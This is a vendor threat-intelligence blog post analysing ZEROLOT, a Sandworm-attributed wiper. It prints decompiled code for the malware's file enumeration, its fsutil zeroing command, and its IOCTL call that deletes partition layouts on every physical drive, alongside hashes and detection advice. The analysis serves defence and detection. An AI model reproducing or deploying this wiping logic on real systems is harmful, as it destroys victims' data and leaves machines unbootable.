ϳԹ

Threat Intelligence
May 21, 2025
May 22, 2025

ZEROLOT Analysis: Inside Sandworm’s Destructive New Wiper

Sandworm
Emerging Threats
Malware
Defensive Security
Contributors
Lead Cyber Security Engineer
Immersive
Cyber Threat Intelligence Researcher
Immersive
Share

Introduction

There’s a new wiper malware on the scene. ZEROLOT, so-called because of its distinctive data-zeroing techniques and structural approach to disk sabotage, has recently been targeting organizations in Ukraine.

On May 19, 2025, ESET released an detailing the latest observed threats and campaigns conducted by highly sophisticated and prolific threat actors. The report summarizes the activities of selected APT groups and their operations, which led us to the ZEROLOT malware.

Immersive’s Container 7 team has investigated, but there’s very little research about this malware in the wild.

This blog post is a technical analysis of the ZEROLOT malware, examining its internal mechanics and destructive tendencies. It documents how the team comprehensively reverse engineered its core components, execution flow, and destructive mechanisms. 

This post also provides actionable detection guidance, including YARA signatures and Sigma rules for security operations teams.

By understanding the malware's distinctive behaviors and implementation patterns, organizations can better defend against this emerging threat.

This report is intended for security professionals, malware analysts, and incident responders tasked with threat detection, analysis, and response.

Want to get hands-on? , in which you’ll identify indicators of compromise by analyzing the malware in a SIEM.

If you’re not an Immersive customer yet, .

Sandworm

Sandworm Team (which also goes by various other aliases, including APT44, Telebots, Voodoo Bear, and Iron Viking) is a highly sophisticated and destructive advanced persistent threat (APT) group. Cybersecurity authorities and researchers widely attribute Sandworm to Unit 74455 of the Russian General Staff Main Intelligence Directorate (GRU).

Since its emergence, Sandworm has been implicated in a series of high-profile and technically-advanced cyber operations, targeting a diverse range of organizations globally. 

The group's activities are characterized by a strategic focus on government, military, and critical infrastructure sectors, with a notable emphasis on operations aligning with Russian Federation geopolitical interests.

Sandworm is recognized for its proficiency in developing and deploying bespoke malware, including destructive wipers and tools designed to disrupt industrial control systems. Notable incidents attributed to this actor include the 2015 and 2016 attacks against Ukrainian power grids, the 2017 NotPetya global outbreak, and various campaigns targeting political processes and international organizations.

The consistent operational tempo and evolving tactics, techniques, and procedures (TTPs) that Sandworm employs underscore its status as a significant and persistent threat in the international cybersecurity landscape.

What are disk wipers?

Disk wipers represent a high-severity threat class designed specifically for destructive impact rather than financial gain. ZEROLOT in particular employs a multi-layered approach that combines file-level corruption with partition structure destruction, making recovery efforts exceptionally challenging for affected organizations.

Execution flow

In its past operations, Sandworm has deployed wipers against Ukrainian targets. Historically, the group often starts by abusing Group Policy Objects (GPOs), and has used utilities like TANKTRAP and the modified PowerShell utility to deliver and execute a variety of tooling across its operations via GPOs.

Sandworm has also made use of scheduled tasks to stage malware to run at certain times – the group is known for keeping a low profile and striking at the most opportune time. Once the time requirement is met, the team deploys the wiper malware and causes mass data destruction across the victim’s environments.

In terms of its tactics, techniques, and procedures (TTPs), Sandworm typically gains access via spearphishing (), exploiting public-facing vulnerabilities including zero-days (), and supply chain attacks (). Once in, the team uses PowerShell (), living-off-the-land binaries, and legitimate tooling to masquerade (), as well as custom malware () for execution and persistence.

Sandworm escalates privileges, harvests credentials, and moves laterally using stolen accounts (). Its command and control often leverages HTTP/S and the onion router (TOR). Sandworm is known for its destructive impact (), deploying wipers like NotPetya, CaddyWiper, and ICS-targeting malware like Industroyer to disrupt and damage critical infrastructure. Sandworm also employs obfuscation () and living-off-the-land techniques for defense evasion.

Immersive has a number of labs covering Sandworm and its TTPs in more detail. Check out the list of labs below for more information on this threat actor.

Operational technology (OT) boundary

The ZEROLOT wiper malware shows why proper IT/OT segmentation remains a critical security control for energy sector and critical infrastructure organizations. While ZEROLOT primarily targets IT infrastructure, its deployment by Sandworm represents a significant threat that could affect operational environments through direct and indirect vectors.

Effective IT/OT boundary controls provide essential protection by containing malicious code within compromised networks and preventing lateral movement into operational technology environments. This network segmentation is a crucial first layer of defense against sophisticated threat actors like Sandworm, known for its persistent targeting of industrial control systems (ICSs).

However, the security reality extends beyond network separation. As demonstrated in incidents like the Colonial Pipeline attack, even when OT systems remain technically uncompromised, the destruction of IT systems can significantly impact operations.

Critical IT functions that support operational processes, including billing systems, regulatory reporting tools, and supply chain management applications, when disabled, can force operational shutdowns despite functioning OT infrastructure.

ZEROLOT and Sandworm continue to highlight the importance of comprehensive protection strategies that address both environments. Organizations should implement:

  • Unidirectional gateways or data diodes, where security requirements necessitate one-way communication
  • Business continuity procedures that maintain operations even during a full IT system compromise or loss of trust in the IT infrastructure
  • Regular validation of segmentation controls through penetration testing
  • Defense-in-depth approaches that protect critical IT systems supporting operational functions

ZEROLOT and Sandworm's targeting patterns demonstrate that IT/OT segmentation, while necessary, must be complemented by holistic security approaches that recognize the interdependencies between business and operational technology environments.

Analysis

The Container 7 team at Immersive has analyzed the ZEROLOT malware in detail. Below is a detailed account of our findings.

MITRE ATT&CK techniques

Through static analysis, we've identified how the malware uses the following MITRE ATT&CK techniques:

  1. Time-Based Evasion (T1497): It has configurable delay mechanisms before it executes threads.
  2. File and Directory Discovery (T1083):  It traverses file systems using threads.
  3. Data Destruction (T1485): It “zeroes” file data, wiping all data from a system.
  4. Native API (T1106): It uses DeviceIoControl to wipe the physical drive.
  5. Disk Structure Wipe (T1561.002): It destroys partition information via direct input/output control (IOCTL) operations.

Of particular interest is the malware's strategic use of legitimate Windows system tools and API calls, which may help it bypass traditional security controls. This living-off-the-land approach combined with low-level disk manipulation creates a particularly dangerous threat profile.

Initial details

Using a portable executable (PE) explorer tool like CFF Explorer, we quickly found that the ZEROLOT malware is a binary written in C++ and compiled for 32-bit architecture.

The compiler stamp for this particular malware is set to February 2025, which aligns with ESET’s early sightings discussed in its APT report.

The main function

The main function doesn’t hold any obfuscation or anti-analysis except a sleep at the beginning of the main function, indicating that this malware is the last artifact to be dropped at the end of an attack. Paired with the idea that it’s a wiper, this hypothesis makes sense. 

The code goes straight into parsing command line arguments.

local_c = 300000;       // Default: 5 minutes (300,000 ms)
DVar4 = 1500000;        // Default: 25 minutes (1,500,000 ms)
local_8 = 0;            // Will store argument count
local_10 = 1500000;     // Copy of second timer value
hMem = CommandLineToArgvW(param_3,&local_8);
if (hMem != (LPWSTR *)0x0) {
    if (0 < local_8) {
        iVar1 = StrToIntW(*hMem);
        local_c = iVar1 * 60000;    // Convert first arg from minutes to milliseconds
    }
    if (1 < local_8) {
        iVar1 = StrToIntW(hMem[1]);
        DVar4 = iVar1 * 60000;      // Convert second arg from minutes to milliseconds
    }
    LocalFree(hMem);
    local_10 = DVar4;
    if (DVar4 == 0) {
        local_10 = 1500000;         // Fallback if second value is 0
    }
}
Sleep(local_c);         // Sleep for the initial delay period

Let's break down what this code fragment does:

local_c = 300000;  // 5 minutes in milliseconds (default)
DVar4 = 1500000;   // 25 minutes in milliseconds (default)
local_8 = 0;       // Will store argument count
local_10 = 1500000; // Copy of the second timer value

The code starts by setting up default values: a five-minute timer (local_c) and a 25-minute timer (DVar4).

hMem = CommandLineToArgvW(param_3, &local_8);
if (hMem != (LPWSTR *)0x0) {

Then it parses command line arguments using Windows' CommandLineToArgvW() function, which returns an array of wide-character strings and updates, local_8, with the number of arguments.

if (0 < local_8) {
        iVar1 = StrToIntW(*hMem);
        local_c = iVar1 * 60000;  // Minutes to milliseconds
    }

If at least one argument exists, the code converts it to an integer and uses it to set the first timer value (local_c), multiplying by 60,000 to convert from minutes to milliseconds.

if (1 < local_8) {
        iVar1 = StrToIntW(hMem[1]);
        DVar4 = iVar1 * 60000;  // Minutes to milliseconds
    }

Similarly, if there's a second argument, it's used to set the second timer (DVar4).

    LocalFree(hMem);
    local_10 = DVar4;
    if (DVar4 == 0) {
        local_10 = 1500000;  // Fallback if second value is 0
    }
}

The code properly frees the memory allocated by CommandLineToArgvW(), copies DVar4 to local_10, and ensures local_10 has a non-zero value by defaulting to 25 minutes if needed.

Sleep(local_c);  // Sleep for the initial delay period

Finally, the program pauses execution for the duration specified by the first timer. This suggests the application is designed to wait for a specified period before performing its main function.

Further down inside this function, there’s a bit of functionality that indicates a wiper straight away.

Drive enumeration and thread creation

_memset(local_78, 0, 0x68);   // Clear the thread handles array
  nCount = 0;                   // Initialize thread count
  DVar4 = GetLogicalDriveStringsW(0x3ff, local_878);  // Get all drive letters
  pcVar5 = lstrlenW_exref;
  if (DVar4 != 0) {
    param_3 = (LPCWSTR)0x0;
    iVar1 = lstrlenW(local_878);
    if (iVar1 != 0) {
      lpString1 = local_878;
      do {
        iVar1 = lstrcmpW(lpString1, L"C:\\");
        if (iVar1 != 0) {  // Skip the C: drive
          iVar1 = (*pcVar5)(lpString1);
          pWVar2 = (LPWSTR)LocalAlloc(0x40, iVar1 * 2 + 2);  // Allocate memory for drive path
          if (pWVar2 != (LPWSTR)0x0) {
            lstrcpyW(pWVar2, lpString1);  // Copy drive path
          }
          pvVar3 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_004017f0, pWVar2, 0, (LPDWORD)0x0);
          pcVar5 = lstrlenW_exref;
          if (pvVar3 != (HANDLE)0x0) {
            local_78[nCount] = pvVar3;  // Store thread handle
            nCount = nCount + 1;
          }
        }
        iVar1 = (*pcVar5)(lpString1);
        param_3 = (LPCWSTR)((int)param_3 + iVar1 + 1);
        lpString1 = local_878 + (int)param_3;  // Move to next drive in the list
        iVar1 = (*pcVar5)(lpString1);
      } while (iVar1 != 0);
    }
  }

This section:

  1. Gets a list of all drive letters using GetLogicalDriveStringsW()
  2. Iterates through each drive, skipping the C: drive
  3. For each non-C: drive, creates a thread running the function FUN_004017f0 with the drive path as a parameter
  4. Stores the thread handles in the local_78 array

Processing the C:\Users directory

  iVar1 = (*pcVar5)(L"C:\\Users");
  pWVar2 = (LPWSTR)LocalAlloc(0x40, iVar1 * 2 + 2);  // Allocate memory for "C:\Users" string
  if (pWVar2 != (LPWSTR)0x0) {
    lstrcpyW(pWVar2, L"C:\\Users");  // Copy the string
  }
  pvVar3 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_004017f0, pWVar2, 0, (LPDWORD)0x0);
  if (pvVar3 != (HANDLE)0x0) {
    local_78[nCount] = pvVar3;  // Store thread handle
    nCount = nCount + 1;
  }

While the code generally skips the C: drive, it specifically creates a thread to process the C:\Users directory using the same function, FUN_004017f0.

Waiting for file system threads

 WaitForMultipleObjects(nCount, local_78, 1, local_10);
 // Wait for all threads with timeout

This waits for all the file system scanning threads to complete, with a timeout of local_10 (the second timer value from the command line). The 1 parameter means it waits for ALL threads to complete.

Second stage processing

  _memset(local_78, 0, 0x68);  // Clear thread handles array
  lpParameter = (LPVOID)0x19;  // Start with value 25 (0x19)
  DVar4 = 0;                   // Reset thread counter
  do {
    pvVar3 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_00401230, lpParameter, 0, (LPDWORD)0x0);
    if (pvVar3 != (HANDLE)0x0) {
      local_78[DVar4] = pvVar3;  // Store thread handle
      DVar4 = DVar4 + 1;
    }
    lpParameter = (LPVOID)((int)lpParameter + -1);  // Decrement parameter
  } while (-1 < (int)lpParameter);  // Loop until parameter is -1

After the file system scanning is complete:

  1. The function creates 26 threads (from parameter 25 down to 0)
  2. Each thread runs the function FUN_00401230 with a different numeric parameter
  3. The function stores the thread handles in the local_78 array again

Final wait and return

  WaitForMultipleObjects(DVar4, local_78, 1, 0xffffffff);  // Wait indefinitely for all threads
  return 0;
}

The function waits indefinitely for all the second-stage threads to complete (a timeout value of 0xfffffff means wait forever), then returns 0.

Functionality

The main function calls three threads that use two functions, FUN_004017f0 and FUN_00401230. These hold all the functionality for the malware.

The function FUN_004017f0 processes each drive or directory and eventually wipes each file selected by the malware. Let's break down what it does:

undefined4 FUN_004017f0(HLOCAL param_1)
{
  WCHAR local_28 [18];
  
  if (param_1 == (HLOCAL)0x0) {
    return 1;  // Exit if no parameter is provided
  }
  builtin_memcpy(local_28, L"*.dll;*.exe;*.sys", 0x24);  // Define file extensions to search for
  FUN_00401690((int)param_1, local_28);  // Process the directory with these file extensions
  LocalFree(param_1);  // Free the allocated memory for the path
  return 0;
}

This function:

  1. Takes a path (allocated with LocalAlloc in the main function)
  2. Creates filter strings (".dll;.exe;*.sys") targeting executable files
  3. Calls FUN_00401690 to process the directory with this filter
  4. Frees the memory and returns

FUN_00401690 analysis

This function handles the recursive directory traversal and file matching.

void __fastcall FUN_00401690(int param_1, LPCWSTR param_2)
{
  LPWSTR pszPath;
  HANDLE hFindFile;
  int iVar1;
  LPWSTR lpString1;
  HANDLE pvVar2;
  BOOL BVar3;
  undefined4 extraout_ECX;
  undefined4 extraout_ECX_00;
  undefined4 uVar4;
  undefined4 extraout_ECX_01;
  _WIN32_FIND_DATAW _Stack_258;
  
  pszPath = (LPWSTR)LocalAlloc(0x40, 0x800);  // Allocate buffer for path
  if (pszPath != (LPWSTR)0x0) {
    FUN_00401380(pszPath, 0x400, extraout_ECX, param_1);  // Copy base path
    PathAppendW(pszPath, L"*");  // Add wildcard for directory search
    hFindFile = FindFirstFileW(pszPath, &_Stack_258);  // Start file enumeration
    uVar4 = extraout_ECX_00;
    if (hFindFile != (HANDLE)0xffffffff) {
      do {
        FUN_00401380(pszPath, 0x400, uVar4, param_1); // Reset path to base directory
       PathAppendW(pszPath, _Stack_258.cFileName); // Add current file/dir name
        
       // If it's a file (not a directory)
       if(((byte)_Stack_258.dwFileAttributes & 0x10) == 0) {
          while (0x10 < DAT_00419290) {
            Sleep(1000);  // If too many threads are running, wait
          }
          OutputDebugStringW(pszPath);  
          
          BVar3 = PathMatchSpecW(pszPath, param_2);  
          if (BVar3 == 0) {  // If file doesn't match the extension filter (.dll, .exe, .sys)
            iVar1 = lstrlenW(pszPath);
            lpString1 = (LPWSTR)LocalAlloc(0x40, iVar1 * 2 + 2);  
            if (lpString1 != (LPWSTR)0x0) {
              lstrcpyW(lpString1, pszPath);  // Copy path
            }
            // Create a thread to process the file
            pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0, 0, FUN_004013d0, lpString1, 0, (LPDWORD)0x0);
            if (pvVar2 != (HANDLE)0x0) {
              LOCK();
              DAT_00419290 = DAT_00419290 + 1;  // Thread counter 
              UNLOCK();
            }
          }
        }
        // If it's a directory (and not "." or "..")
        else if (_Stack_258.cFileName[0] != L'.') {
          FUN_00401690((int)pszPath, param_2);  // Recursively process subdirectory
        }
        
        BVar3 = FindNextFileW(hFindFile, &_Stack_258);  // Move to next file
        uVar4 = extraout_ECX_01;
      } while (BVar3 != 0);  // Continue until no more files
      
      FindClose(hFindFile);  
    }
    LocalFree(pszPath);  
  }
  return;
}

This function:

  1. Allocates a buffer for path manipulation
  2. Searches through all files and directories at the given path
  3. For each file (not matching the filter of *.dll/*.exe/*.sys), creates a thread to process it with FUN_004013d0
  4. Recurses into each directory
  5. Limits the number of concurrent threads to 16 (0x10) by sleeping if too many are active

FUN_004013d0 analysis

This is the main destructive function of the malware for files. It declares the command c:\windows\system32\fsutil.exe file setzerodataoffset=0 length=1048576 on the stack and parses the found files as an argument to the end of it. It then creates the process to use fsutil.exe to wipe the files on the system by overwriting them with 0s.

undefined4 FUN_004013d0(LPCWSTR param_1)
{
  HANDLE hProcess;
  LPCWSTR lpOutputString;
  BOOL BVar1;
  DWORD DVar2;
  undefined4 extraout_ECX;
  undefined1 local_8f8 [2048];
  _STARTUPINFOW local_f8;
  _PROCESS_INFORMATION local_b0;
  undefined4 local_a0;
  undefined4 local_9c;
  // ... more local variables ...
  
  if (param_1 == (LPCWSTR)0x0) {
    return 1;  // Exit if no parameter
  }
  
  _memset(local_8f8, 0, 0x800);  // Clear buffer
  
  // A series of Unicode characters - which builds a command string
  local_a0 = 0x3a0063;  // "c:"
  local_9c = 0x77005c;  // "\w"
  local_98 = 0x6e0069;  // "in"
  local_94 = 0x6f0064;  // "do"
  local_90 = 0x730077;  // "ws"
  // ... continues to build the command string ...
  
  // When assembled, the command is:
  // "c:\windows\system32\fsutil.exe file setzerodataoffset=0 length=1048576 "
  
  lpOutputString = (LPCWSTR)LocalAlloc(0x40, 0x800);  // Allocate command string buffer
  if (lpOutputString != (LPCWSTR)0x0) {
    // Build the command string
    FUN_00401380(lpOutputString, 0x400, extraout_ECX, (int)&local_a0);
    FUN_00401320(lpOutputString, 0x4167bc);  
    FUN_00401320(lpOutputString, (int)param_1);  // param_1 contains the file path of the file to be wiped and deleted
    FUN_00401320(lpOutputString, 0x4167bc);  
    
    OutputDebugStringW(lpOutputString);  
    
    // Set up process startup info
    local_f8.cb = 0x44;
    // ... initialize process startup structure ...
    
    // Create process to execute the fsutil command
    BVar1 = CreateProcessW(
      (LPCWSTR)0x0,            
      lpOutputString,          // Command line for fsutil
      (LPSECURITY_ATTRIBUTES)0x0, 
      (LPSECURITY_ATTRIBUTES)0x0, 
      0,                       
      0,                       
      (LPVOID)0x0,             
      (LPCWSTR)0x0,            
      &local_f8,               
      &local_b0                
    );
    
    if (BVar1 != 0) {  
      CloseHandle(local_b0.hThread);  
      hProcess = local_b0.hProcess;
      if (local_b0.hProcess != (HANDLE)0x0) {
        // Wait for process to complete (with 30 second timeout)
        DVar2 = WaitForSingleObject(local_b0.hProcess, 30000);
        if (DVar2 != 0) {  // If timeout
          TerminateProcess(hProcess, 1);  // Force terminate
        }
      }
    }
    
    FUN_00401320(local_8f8, 0x4167bc);
    FUN_00401320(local_8f8, (int)param_1);
    FUN_00401320(local_8f8, 0x4167bc);
    OutputDebugStringW(param_1);
    
    DeleteFileW(param_1);  // Delete the file
    LocalFree(lpOutputString);  
  }
  
  // Decrement thread counter
  LOCK();
  DAT_00419290 = DAT_00419290 + -1;
  UNLOCK();
  
  LocalFree(param_1);  
  return 0;
}

This function:

  1. Creates a command using fsutil.exe with the file  setzerodataoffset==0 length=1048576 command (this is a destructive operation that zeros out file data)
  2. Executes the command on the target file using CreateProcess
  3. Waits for completion or terminates after 30 seconds
  4. Deletes the file
  5. Decrements the thread counter

Physical drive wiping functionality

Once all the files have been wiped and deleted, the malware attempts to destroy the partition information on all physical drives in the system (from PhysicalDrive0 to PhysicalDrive25), making recovery even more difficult.

The malware uses DeviceIoControl with the IOCTL_DISK_DELETE_DRIVE_LAYOUT (0x7c100) control code to remove the boot signature from the Master Boot Record. This effectively destroys the disk's structural information without actually erasing the data itself.

When this happens:

  • The boot signature that tells the basic input/output system (BIOS) that it’s a bootable disk disappears
  • The partition table that defines where file systems begin and end is wiped out
  • The operating system loses all context about how the disk is organized

Let’s break it down:

bool FUN_00401230(DWORD param_1)
{
  int iVar1;
  HANDLE hDevice;
  BOOL BVar2;
  wchar_t local_82c [1024];
  wchar_t local_2c [20];
  
  _memset(local_82c, 0, 0x800);  
  builtin_wcsncpy(local_2c, L"\\\\.\\PhysicalDrive%d", 0x14);  // Format string for physical drive path
  
  // Format the physical drive path with the drive number passed as param_1
  iVar1 = FUN_00401010(local_82c, 0x400, (undefined4 *)0x0, (uint *)0x0, 0x400, local_2c); 
  if (-1 < iVar1) {  
    BVar2 = 0;
    // Open the physical drive with full control access
    hDevice = CreateFileW(
                local_82c,           // Path to physical drive (e.g., \\.\PhysicalDrive0)
                0xc0000000,          
                3,                   
                (LPSECURITY_ATTRIBUTES)0x0,
                3,                  
                0,                   
                (HANDLE)0x0);        
    if (hDevice != (HANDLE)0xffffffff) {  // If drive was opened successfully
      param_1 = 0; 
      // Use the IOCTL_DISK_DELETE_DRIVE_LAYOUT (0x7c100) command
      BVar2 = DeviceIoControl(
                hDevice,             
                0x7c100,             // IOCTL_DISK_DELETE_DRIVE_LAYOUT
                (LPVOID)0x0,         
                0,                   size
                (LPVOID)0x0,         
                0,                   
                &param_1,            
                (LPOVERLAPPED)0x0);            
      CloseHandle(hDevice);  
    }
    return BVar2 != 0;  
  }
  return false;  
}

Detection

Once we’d analyzed the malware, we created a basic YARA rule based on some structures of stack strings.

After performing a retro hunt using this basic YARA rule, we discovered two samples that were both reported to VirusTotal from Ukraine, confirming ESET’s report about ZEROLOT’s current targets. 

To help detect this threat, take a look at the updated and on GitHub.

Observations

Time consuming

The malware uses fsutil for wiping files, which proves a surprisingly inefficient attack method. While it’s effective at corrupting files, it’s remarkably time consuming. fsutil initializes each specified region with zeros using individual input/output (I/O) requests rather than optimized sequential writes.

The malware's implementation compounds this inefficiency by launching a separate process for each file, incurring significant overhead from process creation, interprocess communication, and context switching.

The 30-second timeout per file operation imposes a hard limit on how quickly the attack can progress through large file collections.

This design choice suggests the attackers prioritized reliability and the use of legitimate system tools (to potentially evade security software) over speed. A more optimized approach using direct file I/O could have accomplished the same destructive outcome significantly faster, especially when targeting large numbers of files across multiple drives.

Detection engineering

The analyzed malware contains numerous easily-detectable stack strings that make it highly susceptible to signature-based detection.

By declaring strings directly on the stack through character-by-character assignment (as seen with the fsutil.exe command construction in FUN_004013d0), the malware creates distinctive patterns that security tools can readily identify.

Unlike obfuscated or encrypted strings that are decoded at runtime, these stack-constructed strings exist in plaintext within the binary, offering unmistakable signatures for antivirus engines.

The specific pattern of wide character constants like local_a0 = 0x3a0063; local_9c = 0x77005c; (representing C:\w) creates a unique and consistent byte sequence in the compiled code. 

Finally, the malware's use of Windows API functions with specific parameters (such as DeviceIoControl with the 0x7c100 control code) provides another reliable signature point.

These characteristics make the malware trivial to detect through static analysis techniques, suggesting it was either developed without consideration for evasion or deliberately designed to get straight to the destructive functions.

Conclusion

The ZEROLOT wiper represents a particularly dangerous class of malware designed with one purpose: to systematically destroy data and system operability.

Through meticulous reverse engineering, the Container 7 team at Immersive has uncovered its multi-stage attack strategy:

  1. An initial delay period, probably to evade detection
  2. Methodical enumeration of all drives and user directories
  3. Targeted corruption of user files using legitimate system utilities (fsutil)
  4. Complete destruction of disk partitioning information via low-level IOCTL calls

What makes this malware especially insidious is its use of Microsoft's own tools against the system.

By leveraging fsutil.exe with the setzerodataoffset parameter, it ensures files appear intact but are rendered useless. Following this, the malware also wipes the Master Boot Record, making recovery exceptionally difficult, even for intact files.

However, the malware's distinctive code patterns – particularly its stack string construction technique and use of the IOCTL_DISK_DELETE_DRIVE_LAYOUT control code – provide excellent detection opportunities.

The YARA and Sigma rules shared in this analysis should help security teams identify and block this threat before it can execute its destructive payload.

For system administrators and security professionals, this analysis underscores the importance of:

  • Monitoring access to powerful system utilities like fsutil.exe
  • Monitoring for suspicious access to physical drives via the \\.\PhysicalDrive interface
  • Implementing comprehensive backup strategies (including offline storage)
  • Deploying robust endpoint protection with behavioral detection capabilities

As destructive attacks continue to evolve, understanding the inner workings of wipers like ZEROLOT remains crucial to developing more effective defenses.

The techniques demonstrated here show that while such malware can be devastatingly effective, its distinctive behaviors also make it detectable with the right monitoring tools in place.

Try it now!

Want to get hands-on? , in which you’ll identify indicators of compromise by analyzing the malware in a SIEM.

If you’re not an Immersive customer yet, .

Indicators of compromise

These are the hashes we analyzed as part of a few of Sandworm’s campaigns:

Name: zealot_7777.doc

Ჹ:e77afc29d52cbf4bedb8bc92017fb3ddd051d8acc9b106b627e10b8285ab7389

File type: Win32 EXE

Name: C2.exe

Ჹ:bf50442dedeb6a715de82177eb7e24daed3f3e45d6dcd186bb360675d07ac047

File type: Win32 EXE

Trusted by top
companies worldwide

Customer
Insights

The speed at which Immersive produces technical content is hugely impressive, and this turnaround has helped get our teams ahead of the curve, giving them hands-on experience with serious vulnerabilities, in a secure environment, as soon as they emerge.
TJ Campana
Head of Global Cybersecurity
Operations, HSBC
Realistic simulation of current threats is the only way to test and improve response readiness, and to ensure that the impact of a real attack is minimized. Immersive’s innovative platform, combined with Kroll’s extensive experience, provides the closest thing to replication of a real incident — all within a safe virtual environment.
Paul Jackson
Regional Managing Director,
APAC Cyber Risk, Kroll

Ready to Get Started?
Get a Live Demo.

Simply complete the form to schedule time with an expert that works best for your calendar.